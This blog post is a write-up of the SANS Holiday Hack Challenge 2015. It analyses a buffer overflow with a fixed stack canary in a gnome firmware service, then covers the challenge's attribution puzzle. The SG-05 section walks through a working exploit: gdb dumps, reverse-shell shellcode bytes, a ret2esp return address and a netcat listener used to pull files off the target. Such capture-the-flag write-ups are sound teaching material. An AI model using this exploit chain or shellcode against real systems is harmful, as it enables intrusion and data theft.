Monday, January 11, 2016

SANS Holiday Hack Challenge 2015 - Part 0x03



This post is the last of the SANS Holiday Hack Challenge 2015 series, which includes SuperGnome 05 Application Pen-Testing and part 05 of the Challenge. 

I've changed all IP addresses to localhost, because the targets used in the Challenge were using AWS, and those IPs can be assigned to other tenants.


Part 4: There’s No Place like Gnome for the Holidays: Gnome Pwnage


7) Please describe the vulnerabilities you discovered in the Gnome firmware.


sgstatd: In order to analyze the vulnerabilities in this program, I’ll add the C code found in SG-01 (sgnet.zip). The most important vulnerability found in this file is the lack of bound checking for user supplied data (buffer overflow vulnerability). In the file sgsgatd.c, the function child_menu presents an option menu with three options, however, there is a fourth option, hidden, that can be accessed with the letter “X” (ASCII character 88). Here the user can supply a message to the program, then the function calls sgstatd(). The sgstatd() function, declares a char variable “bin” with a length of 100 characters, but then calls the signet_readn() function with a pointer to “bin”, but the supplied length is “200” instead of the real length of bin. In this case the user can input a message longer than 100 bytes, resulting in a buffer overflow.

The sgstatd() adds a couple of instructions in assembly. The first one 

“ __asm__("movl $0xe4ffffe4, -4(%ebp)");”

copies the hex number “0xe4ffffe4” in an address four bytes before the address stored in the EBP register. Then, after returning from the signet_readn() function, it executes the following instruction: 

“ __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"  // Canary checked
                     "jne sgnet_exit");"

It moves the value of the canary to the EDX register (4 bytes before the EBP address), xor the canary value with the content of EDX (if everything is right, and the canary hasn’t changed, this should be “0”), if this is different from “0” jumps to the sgnet_exit function). The problem here is the fixed number for the canary.

Actually, the chosen canary value has a second problem that exposes another vulnerability. I’ll talk about it later in the SG-05 section.

In the C code, _CHROOT is not defined, then the chroot is not executed (this can be tested also in the sgstatd binary found in the Gnome firmware), only a chdir is executed to the “/var/run/sgstatd” directory. 

The sgstatd binary file found in the firmware of the Gnome has a couple of issues:

- It’s been compiled with -fno-stack-protector. This option disables proPolice/StackGuard during compilation, basically disabling canaries. This can be checked with the debian script “hardening-check” or running the following command “readelf -s sgstatd.protected | grep  '__stack_chk_fail’” (there is no __stack_chk_fail).

- It’s been compiled with -z execstack. This parameter disables the option “execute Disable Bit” or NX in Linux. In other words, it’s possible to run code stored in the stack. Executing the following command: “readelf -W -l sgstatd |  grep 'GNU_STACK' | grep RWE” show the following “GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4” (the E shows an executable stack), also executing “execstack -q” on the binary outputs “X”, meaning that the executable stack is required.  


8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes.  Describe the technique you used to gain access to each SuperGnome's gnome.conf file.  YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE." ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE."


SG-05: 

SG-05 shows a more resilient approach. Scanning the server shows the TCP port 4242 open, and the TCP port 5555 closed, but unfiltered. The Node.js application shows a better security posture. Performing a telnet or netcat to the TCP port 4242, displays the options menu from the “sgstatd” application. It’s time for a buffer overflow exploit: “Smashing the Stack for Fun and Profit!”  (phrase coined by Aleph One).

We already have the “sgstatd” binary, and most probably this means that the server is using this binary. This means three things:

- The server is a x86, 32 bits architecture.
- The binary has the NX and stack-protector security options disabled.
- The binary has a fixed and known canary value (we can check if this is true with gdb).

However, we don’t know if the server has ASLR (Address Space Layout Randomization) enabled. This is an environment security feature, and we’ll know only after attacking the target system.

Let’s first check the sgstatd binary file using gdb:

- Disable ASLR in Linux: “echo 0 > /proc/sys/kernel/randomize_va_space"
- Start gdb “sudo gdb ./sgstatd”.
- Because the server forks a child process for each connection, we need to be able to follow the child process: “set follow-fork-mode child"
- There is an “alarm(16)” function in “sgnet.c”, this alarm prevents us to break and then continue. So, let’s disable that also: “handle SIGALRM ignore"
- Now, set a break in “child_main", and run the program.
- Connect to the port 4242, and set another break in “sgstatd”. Input “X” to select the hidden option from the client (nc or telnet).
- let’s inspect the code: “disas sgstatd”:
“”"
   0x0804935d <+0>: push   %ebp
   0x0804935e <+1>: mov    %esp,%ebp
   0x08049360 <+3>: sub    $0x88,%esp
=> 0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)
   0x0804936d <+16>: movl   $0x1e,0x8(%esp)
   0x08049375 <+24>: movl   $0x8049d53,0x4(%esp)
   0x0804937d <+32>: mov    0x8(%ebp),%eax
   0x08049380 <+35>: mov    %eax,(%esp)
   0x08049383 <+38>: call   0x8048af0 <write@plt>
   0x08049388 <+43>: mov    0x804b2e0,%eax
   0x0804938d <+48>: mov    %eax,(%esp)
   0x08049390 <+51>: call   0x80489a0 <fflush@plt>
   0x08049395 <+56>: movl   $0xc8,0x8(%esp)
   0x0804939d <+64>: lea    -0x6c(%ebp),%eax
   0x080493a0 <+67>: mov    %eax,0x4(%esp)
   0x080493a4 <+71>: mov    0x8(%ebp),%eax
   0x080493a7 <+74>: mov    %eax,(%esp)
   0x080493aa <+77>: call   0x804990b <sgnet_readn>
   0x080493af <+82>: mov    -0x4(%ebp),%edx
   0x080493b2 <+85>: xor    $0xe4ffffe4,%edx
   0x080493b8 <+91>: jne    0x804933f <sgnet_exit>
   0x080493be <+97>: mov    $0x0,%eax
   0x080493c3 <+102>: leave 
   0x080493c4 <+103>: ret
“”"
- Nice!!! this binary is using the same canary: “0xe4ffffe4"
- Explore the registers and frame: “i r” and “i f”.
“”” registers
eax            0x181 385
ecx            0xb7fd08a4 -1208153948
edx            0x0 0
ebx            0xb7fcf000 -1208160256
esp            0xbffff1a0 0xbffff1a0
ebp            0xbffff228 0xbffff228
esi            0x0 0
edi            0x0 0
eip            0x8049366 0x8049366 <sgstatd+9>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
“”"
“”” Frame
Stack level 0, frame at 0xbffff230:
 eip = 0x8049366 in sgstatd; saved eip = 0x80492f4
 called by frame at 0xbffff6b0
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- Set a break before the “xor” : “b *0x080493af” and fill the buffer with A's.
- Let’s inspect the frame again: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0x41414141
 called by frame at 0xbffff234
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- We have overwritten the saved eip register with “A” (0x41). What about the canary? “x $ebp-4”: 

“ 0xbffff224: 0x41414141”. 

- We need to know the position in the stack for the bin buffer: “ x/100x $ebp-110”:

“”"
0xbffff1ba: 0x0a0db7ff 0x41414141 0x41414141 0x41414141
0xbffff1ca: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1da: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1ea: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1fa: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff20a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff21a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff22a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff23a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff24a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff25a: 0x41414141 0x41414141 0x41414141 0x41410a0d
0xbffff26a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff27a: 0x41414141 0x0a0d0a0d 0xd0900a0d 0x81d40804
“”"

- The bin buffer starts 106 bytes before the EBP register (in our example: 0xbffff1be ), 

We have enough information to start creating our attack. We have 102 bytes for our shellcode, actually a bit more, but we’ll talk about it later.

We can try at least two types of shellcodes: bind shell or reverse bind shell. Most bind shells are longer than 85 bytes. Actually, there is one that has exactly 89 bytes, but this has two disadvantages:

- First, it’s still too long, and doesn’t fit entirely into the buffer. Let’s explain this a bit more, we can split the buffer into two segments: before the canary (102 bytes) and after the canary (86 bytes). It looks like the first part has enough room for the shellcode, however, the shellcode executes a couple of push instructions (there are approx. 18 push instructions), e.g. “ push esi”, “ push word 0x15b3”, overwriting our own shellcode (ESP register will be “0xBFFFF230” after the function epilogue, and will start pushing local variables starting on this position). In order to make enough room for our shellcode to run, we could split our shellcode into two, adding a jump forward assembly instruction (jmp short) at the end of the first part, jumping to the start of the second piece of our code.
- Second, we need an unfiltered port. We have it! it’s the port 5555, however, there are going to be many people accessing this server, so, there is a high probability that somebody will connect to the bind shell before our code does.

Let’s explore the reverse bind shell option. The code is 74 bytes long ( Author:  Julien Ahrens, Website:  http://www.rcesecurity.com), still the code is too long for the first part of the buffer (only for a couple of bytes, remember the push instructions), but good enough for the second part (the second part of the buffer is not affected by the push instructions). We can still add a jump short instruction in the first part of the buffer, in order to jump to our shellcode. 

However, we need a service that listen for the incoming connection, which means that we need a public IP address. I launched a free tier instance in AWS with a public IP address to listen for this connection, using the following script:

This script has a “while true” loop, and then echoes a set of commands to netcat to get all the files stored in the directory: "/gnome/www/files”. One more time, the script is using a base64 encoding to get all files, including binaries. 

Also, I wrote a small python program that performs the dance with the options menu of sgstatd and sends the shellcode: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and also fills the first part of the buffer with NOPS instruction (92 NOPS), then added a jump short instruction (eb18) to jump to the first part of the shellcode after the saved EIP:


Let’s start sgstatd with gdb:

- Insert a break before the xor in the sgstatd function : “b *0x080493af”.
- Run sgstatd, and execute the python script: " python send_rb_shellcode.py 0xbffff1be 0xbffff1be” (the python script takes two parameters, the start and end address, in hex, of the expected return addresses, then it starts increasing the return address by 64 bytes until it reaches the end address).
- Check the frame: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0xbffff1be
 called by frame at 0xbffff1c6
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- It looks good, the saved EIP has the expected value: 0xbffff1be.
- Check the canary, “x $ebp-4”, the result is: “0xbffff224: 0xe4ffffe4”. This is perfect, we have overwritten the canary with the expected value.
- Check the first part of the buffer: “x/30x 0xbffff1be” 

“”"
0xbffff1be: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ce: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1de: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ee: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1fe: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff20e: 0x90909090 0x90909090 0x90909090 0x909018eb
...
“”"
- Here it is our jump instruction, let’s take a closer look: “x/5i 0xbffff218": 

“”"
   0xbffff218: nop
   0xbffff219: nop
   0xbffff21a: jmp    0xbffff234
   0xbffff21c: nop
   0xbffff21d: nop
“”"

- Take a look to the address “0xbffff234”:

“”"
0xbffff234: 0x90909090 0x6a58666a 0xd2315b01 0x026a5352
0xbffff244: 0x80cde189 0x6866b092 0x0101017f 0xd3636866
0xbffff254: 0x89536643 0x51106ae1 0x43e18952 0x026a80cd
0xbffff264: 0xb0da8759 0x4980cd3f 0x0bb0f979 0x52ca8941
0xbffff274: 0x732f2f68 0x622f6868 0xe3896e69 0x0a0d80cd
“”"

This is perfect! we can now change the target to real address and the reverse bind address to our AWS instance, and run it!. We’re going to run the script with enough address space, e.g. 0xbffff000 up to 0xbfffffff, the reason is simple, even if the system is not using ASLR, testing with gdb adds environment variables to the address space, so, we need to test different return addresses.

It didn’t work, at least, the listener didn’t receive any connection. This is not good, the server must be using ASLR. I can try a brute force attack, but we don’t have enough NOPS instructions to make it work.

Let’s try another approach, like ret2esp. For this to work, we need to find a jump %esp instruction in the text segment of the program. A quick check tells us this:

“”"
hexdump sgstatd | grep ffe4
00013b0 fc55 f281 ffe4 e4ff 850f ff81 ffff 00b8
“”"

The question is where in the text segment is located this instruction. The instructions are stored between “0x08048cbc” and “ 0x08049b13”, let’s see what can we find there: “(gdb) x/1000x 0x08048cbc”:

“”"
0x804935c <sgnet_exit+29>: 0xe58955ff 0x0088ec81 0x45c70000 0xffffe4fc
0x804936c <sgstatd+15>: 0x2444c7e4 0x00001e08 0x2444c700 0x049d5304
“”"

We’re lucky, we have found one option! to summarize, the compiler will not generate a jump to ESP instruction, but using a technique called “byte shifting”, we can just shift a couple of bytes to create the needed instruction. Let’s check this in gdb, “x/2i 0x804936b”:

"0x804936b <sgstatd+14>: jmp    *%esp"

Let’s update the python script… wait, there is no need, the script takes the return address as a parameter, and the shellcode is just after the return address, where the ESP register will point after sgstatd epilogue: “python send_rb_shellcode.py 0x0804936b 0x0804936b”. This time it worked!

Looking closely at the assembly code exposes the problem, the canary value is “0xe4ffffe4”, which is exactly the value needed to use ret2esp. The address 0x804936b is part of the sgstatd function: 

“0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)”

In this case, the use of this canary value instead of using  the stack-protector option in gcc was even worst, because it created another vulnerability. 

The scripts used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and the files are:

  • 20151215161015.zip
  • factory_cam_5.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number: 4CKL3R43V4 

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution.

9) Based on evidence you recover from the SuperGnome’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The plot is simple, deploy over 2 millions gnomes around the globe, controlled by 5 SuperGnomes, take pictures of different parts of the house, and then on December 24th, send burglars to steal items from those houses. The gnome hardware is composed by:


+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)

+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor

+ Atheros AR6233X Wi-Fi adapter

+ Texas Instruments TPS65053 switching power supply

+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

As described in an email between “CW” (ATNAS Corp) and an electronic supplier.

With all those gnomes deployed globally, on the morning of December 24th, an email will be sent to a list of burglars, detailing an itinerary of specific houses and an inventory of items to steal from each house, including a set of photos of where are the items located. This will be performed the night of December 24th, 2015 after dark. In case they get caught by a children, the burglars must say that they are "Santy Claus”. The sale will be 50-50 with each burglar. The name ATNAS is the reverse of SANTA, instead of bringing presents, they will steal!.

The evidence is based on the following communications:

- Email between “c@atnascorp.com” and “ jojo@atnascorp.com”. Joji is in charge of creating the Gnome Architecture. The email includes the following image: 



depicting the architecture.

- Email between “c@atnascorp.com” and “supplier@ginormouselectronicssupplier.com”. In this email,  CW asks this supplier for all the hardware pieces needed to build the gnomes.

- Email between “c@atnascorp.com” and “ burglerlackeys@atnascorp.com”. In this email, CW tells the burglars the instructions for December 24th, and how to proceed in case they are discovered by a children.

All the above email were extracted from the PCAP files found in the SuperGnomes 01 - 03. Showing a SMTP communication using the TCP port 2525 (different from the standard port: 25).

10) Who is the villain behind the nefarious plot.

The villain is:  Cindy Lou Who, the girl from “How the Grinch Stole Christmas” (Dr. Seuss), that found the Grinch stealing all the Christmas presents in her home. She was affected by this act, and vowed to finish what the Grinch had started. 

Evidence:

- Email between “c@atnascorp.com” and “ psychdoctor@whovillepsychiatrists.com”, describing to the Doctor her anxiety about the holiday season, and signing the email with: “Cindy Lou Who”.
- POP3 session recovering an email from the Grinch (“grinch@who-villeisp.com") to “c@atnascorp.com”: In this email, the Grinch writes to apologize for what he did to Cindy. 
- Image recovered after processing the 5 images found in the SuperGnomes and the “camera_feed_overlap_error.png”. Based on the messages found in the GnomeNet, where they were talking about a technical issue with the cameras, indicating a potential pixel xored issue with images with the same name. Using a python script https://github.com/skysec/SANSHolidayHack2015/tree/master/part05/scripts with the opencv library, the final image was recovered, showing an older Cindy Liu (now 62 years old):




In order to recover the image, a bitwise xor was performed between all images and the camera_feed_overlap_error.png image. 

No comments:

Post a Comment